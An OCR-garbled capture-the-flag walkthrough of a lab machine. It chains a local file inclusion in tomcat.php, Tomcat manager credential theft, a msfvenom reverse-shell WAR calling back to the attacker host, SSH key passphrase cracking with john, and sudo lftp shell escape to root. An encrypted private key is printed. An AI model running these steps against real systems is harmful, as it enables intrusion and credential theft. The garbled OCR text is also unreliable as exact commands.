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Initial Foothold

Port Scan

1a.@
Starting WNmap 7.91
Nmap scan report for hat
Host is up (8.8 7s latency).
Not shown: 655 closed ports

STATE
open
open
open

Directory Scan — Port 80

gobuster dir -u http://10.0.2.253 -w /usr/share/wordlists/dirbuster/directory-list-
lowercase-2.3-medium.txt -t 100 -x .txt,.log,.php,.bak

kali@Zeus: ~
File Actions Edit View Help

dir http://10.0.2.253 /ust ioT i r r i rca 3 .tx .txt,.log, .php, .bak

Gobuster .0
by 03 Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

url: http://10.0.2.253

Method: GET

Threads: 100

Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Negative Status codes: 404

User Agent: gobuster/3.1.0

Extensions: txt, log,php,bak

Timeout: 10s

2 b Starting gobuster in directory enumeration mode
(Status: 301) [Size: 313] [— http://10.0.2.253/javascript/]

(Status: 200) [Size: 0]
(Status: 403) [Size: 275]

Finished

Result : /ftomcat.php




Local File Inclusion — Port 80

wfuzz -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hh 0
'http://10.0.2.253 /tomcat.php?FUZZ=/etc/passwd'

/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt ) ttp: .253/tomcat yassud
/usr/lib/python3/di z/__init__.py:34: UserWarning:Pycurl is not compiled aga Openssl. Wfuzz might not work corr

y?FUZZ=

ek ek ke ok ke ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok ok
* Wfuzz 3.1.0 - The Web Fuzzer *
B R

Target: http://10. /tomcat.php?FUZZ=/etc/passwd
Total request 22

D0 Response Lines Word Chars

000011159: 200 2 1441 Ch

Result : filez

Local File Inclusion - Verified

Proof

view-source:http://10.0.2.253/tomcat.php?filez=/etc/passwd

2.253/tomcat.ph X +

c @ % view-source:http://10.0 (tomcat.php?filez=/etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon: fusr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nolegin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news: fvar/spool/news: /usr/sbin/nologin

uucp:x:10:10:uucp: /var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33 :www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups: /usr/sbin/nologin

list:x:3B:38:Mailing List Mamager:/var/list:/usr/sbin/nologin
irc:x:39:39:1ircd:/var/run/ircd: /usr/sbin/nologin

gnats:x:41:41:6nats Bug-Reporting System (admin):/war/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin

_apt:x:100:65534:: /nonexistent: /usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd: /usr/sbin/nologin
messagebus:x:104:110: : /nonexistent: fusr/sbin/nologin

sshd:x:105:65534::/run/sshd: /usr/sbin/nologin
nathan:x:1000:1000:nathan,,, : /home/nathan: /bin/bash
systemd-coredump:x%:999:999:systemd Core Dumper:/:/usr/sbin/nologin
tomcat:x:1001:1001::/opt/tomcat: /bin/false




Found Tomcat HOME/BASE Directory

view-source:http://10.0.2.253/tomcat.php?filez=/etc/systemd/system/tomcat.service

http://10.0.2.253/tomcat.ph X =+

= c @ % view-source:http://10.0.2.253(tomcat.php?filez=/etc/systemd/system/tomcat.service

[Unit]
Description=Tomcat 9 servlet container
After=network.target

[Service]
Type=forking

User=tomcat
Group=tomcat

Environment="JAVA_HOME=/usr/lib/jvm/default-java"
Environment="JAVA_OPTS=-Djava.security.egd=file:///dev/urandom”

Envirenment="CATALINA_BASE=/opt/tomcat/latest"

Environment="CATALINA HOME=/opt/tomcat/latest"

Environment="CATALINA PID=/opt/tomcat/latest/temp/tomcat.pid”
Environment="CATALINA OPTS=-Xms512M -Xmx1024M -server -XX:+lUseParallelGC"

ExecStart=/opt/tomcat/latest/bin/startup.sh
ExecStop=/opt/tomcat/latest/bin/shutdown.sh

[Installl]
WantedBy=multi-user.target

If you ask me, how | guessed this file, as a creator | know that the /etc/systemd/system is
the default linux path to create your service, so | guessed that the service name is
tomcat(.service). Also, each service contains the directory that runs the binaries to start or
stop the service. For tomcat the working directory is :

‘ /opt/tomcat/latest

Tomcat Credentials using LFI

view-source:http://10.0.2.253/tomcat.php?filez=/opt/tomcat/latest/conf/tomcat-
users.xml

<yser username="rolel" password="<must-be-changed=" roles="rolel"/>

A
<role rojename="manager-script”/=

<user usdrname="sml" password="HackMy[J IR " roleg"admin-gui,manager-script”/>

<user username="sml" password="H4ckMy********x**! rglas="admin-gui,manager-
script"/>




Msfvenom - Reverse Shell Generator

Payload

msfvenom -p java/shell_reverse_tcp lhost=10.0.2.254 lport=443 -f war -o
alienum.war

-[~/Desktop/webshell
java/shell_reverse_tcp lhost=10.0.2.254 lport=443 war alienum.war

Payload size: 13320 bytes
Final size of war file: 13320 bytes
Saved as: alienum.war

Reverse Shell — Port 8080

Deploy / Upload

Deploy
curl --upload-file alienum.war -u 'sml:HAckMy* %% ¥k % &k %1
"http://10.0.2.253:8080/manager/text/deploy?path=/allenum"

kali@Zeus: ~/Deskto|
File Actions Edit View Help

~/Desktop/webshell
alienum.war sml:H4ckM

0K - Desplegada aplicacion en trayectoria de contexto [/allenum]

~/Desktop/webshell

Trigger The Revershe Shell

| curl http://10.0.2.253:8080/al1enum

Listener

[ nc_-1nvp 443

Proof

=

File Actions Edit View Help

File Actions Edit View Help
~/Desktop/webshell
443
listening on [any] 443 ...
connect to [10.0.2.254] from (UNKNOWN) [10.0.2.253] 60812
/usr/bin/script -qc /bin/bash /dev/null
tomcat@tom:/$ export TERM=xterm
export TERM=xterm
tomcat@tom:/$ id
id
uid=1001(tomcat) gid=1001(tomcat) grupos=1001(tomcat)
tomcat@tom:/$

L http://10.0.2.253:8080/allenum




Horizontal Privileges Escalation

Sudo Permissions as nathan

sudo -l

tomcat@tom:~$ sudo -1

sudo -1

Matching Defaults entries for tomcat on tom:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tomcat may run the following commands on tom:
(nathan) NOPASSWD: /usr
tomcatatom:~$ i

Reading and Encode Nathan’s Private Key using ASCII85

X, i . 0s
FnAMdLH7UT :




Decode Nathan’s Private Key using ASCII85

sudo apt-get install -y ruby-ascii85

ascii85 -d id_rsa85

~/Desktop
: asciis8s
/usr/bin/ascii85

~/Desktop
1185 id rsa8s
BEGIN RSA PRIVATE KEY
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,5065755920B77C45

pbcIb9gxpAhVFNik1U4P7SK+WnXji8QFUh11KMOoL8TXes jh+eRNLkHuYBvmm7rI
I37u@HZvXvISOHXx79IT2ISkeBUEW2KsUw8vpin7+EbBmBF/yNHYTIfYPXtFHNLTS
85dtXV+KwRqtqwWGk8KawwMk f TygkS8fm9FFCKYYwdhAor90ZXe+AKMHFT8KDo4m
zj0/1kS7SLeIZVzYLRa/INSY6LiQRwhFk2hbZUllone47mFL845qDIFdIxUiITy+
VY36yHIwRWsu3VsoRen@sNOe970gUeuYnViFyMNuBCgL+2UjMLEKQD98r LHNWGh1
NYp2MIIzZEXIZfEYZNr0S3LOb7MmD+D326NzN8xpjE6SZzyV00d2SeArXI/cilqilw
Cl22CZXawcenhT7ZCz2K3yJI+ejL5hf3duloM+N83gkcEFtR1PccdvRFfz6QD/k8
ojmhaY48Fw+HIo5e9YzPnZWmGKXW7Z3T jIHR/JvWOWKkKUmrD7914zYF+rRj+nnQ
et6hodObvIstwnS9maz8PWbnFpB+ATflvborFrNSz/4qpDN/Aalra2/bfJJkBVr2
cb+olbeELwfNdmdOtuU@VhI7Q6dbCtYFegPj74gGv13CUz0GSRWQUCS jxHAKLvvD
EUYeofXZzAmboci7CMEgAaqlAkb1GEPfcEZrnE15/txfS7g0MgFg9XYMIusjKf/Q
5PDr6fmDYQkaO0hSj24KqHrphRIAr JTSWEXziToJA1 jUMU3DVUsvdjZqr9GFhxmg
V/8w/bXLO4wmgKGeGhjQOug+fnogjP3Fff7UASyg0XeiXmbmc3jOhaZjlq7wFieY
EjWiDe+TmyvSwalxPeC/i+WhICridgsVIDUccU9SRNa3mGxQdgER+Ujz5CRT0aQQ
XTVIJdmVQyQUVRIMYOyv2I41qj/37WIEs9xuolmtRnGgITe4X5FbSVkayml8+/E8
FFxVu9sk33AjgdaWz/UQNg7 iXMsS6KPUTeE7 JDuvYX1iutAby@NLABp/I/tXMZbg
beCDNmwrZnv650dcGAoDWNO+wVhueU2XEcDSVK8I3R+tApAZEhbuSaGGABPWVGXF
15QCdtrfrvodlvONrGrwTgXEdawmyhZW3QAYVMNawaQijjOIBX71648icZe3LYh4
tZNL8zylL@S9Cg157r+CZIABpt7m3huTAwrAKOCARZz9Ff@ jwkymOWYZyb0OOoiyalw
mfcapWoGiH3wIb9WG8H/GVOWODA89BFasmBxjL+3V2pRhDrshD8KuxkgAjHinYhC
IPj6NnIS4Iqui/cxj7Vt9aK6fn6laleOWc+B8g50j+nAS8Y83Lu8iaJ67HFHrKsJy
4JEQUIYKG15KPX9t18wfSFLQ1HPTPfvzFqfokFLeVjSPGOQFfdC5Kzjj2ioFK4+MW
Euif9X5+UrgEncX8kvsYZKJIU2SygKphTGt JkkAgWWygl+S0120qjZ4TGFHKY4XFb
6eaknNxRzZ2hhK9XCPIjPeRUS5127c61wRbwRHSPaRNvqlgXh6MFKxJ2n3aZh7sFx
0I5addR81PxTcqvnkb20i5ECHKXHTP8QN2n2CBc9@InN2nXbGmQjIKt7N6zGaouh
END RSA PRIVATE KEY

Crack id_rsa Passphrase

ascii85 -d id_rsa85 > id_rsa

Jusr/share/john/ssh2john.py id_rsa > hash

john hash --wordlist=/usr/share/wordlists/rockyou.txt
-[~/Desktop

hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [@=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes

Cost 2 (iteration count) is 2 for all loaded hashes

Note: This format may emit false positives, so it will keep trying even after

finding a possible candidate.

Press 'q' or Ctrl-C to abort, almost any other key for status

da S (id_rsa)

1g 0:00:00:30 DONE (2021-10-16 01:05) 0.03278g/s 470219p/s 470219c/s 470219C/s *7;Vamos!
Session completed




User Proof

~/Desktop
id rsa mathang
Enter passphrase ft ‘id r :
Linux tom &4.19.@0-18-amd64 #1 SMP Debian 4.19.
Dtom:~% id

p(nathan) gi (nathan) grupos=18
fotom:~% 1s
t

om:~% ]

Vertical Privileges Escalation

Sudo Permissions

Sudo -l

File Actions Edit View Help

on tom:

tom:

inatom: ~5%

Shell Command Execution using LFTP as ROOT

Rooted

sudo -u root /usr/bin/Iftp

!/bin/bash




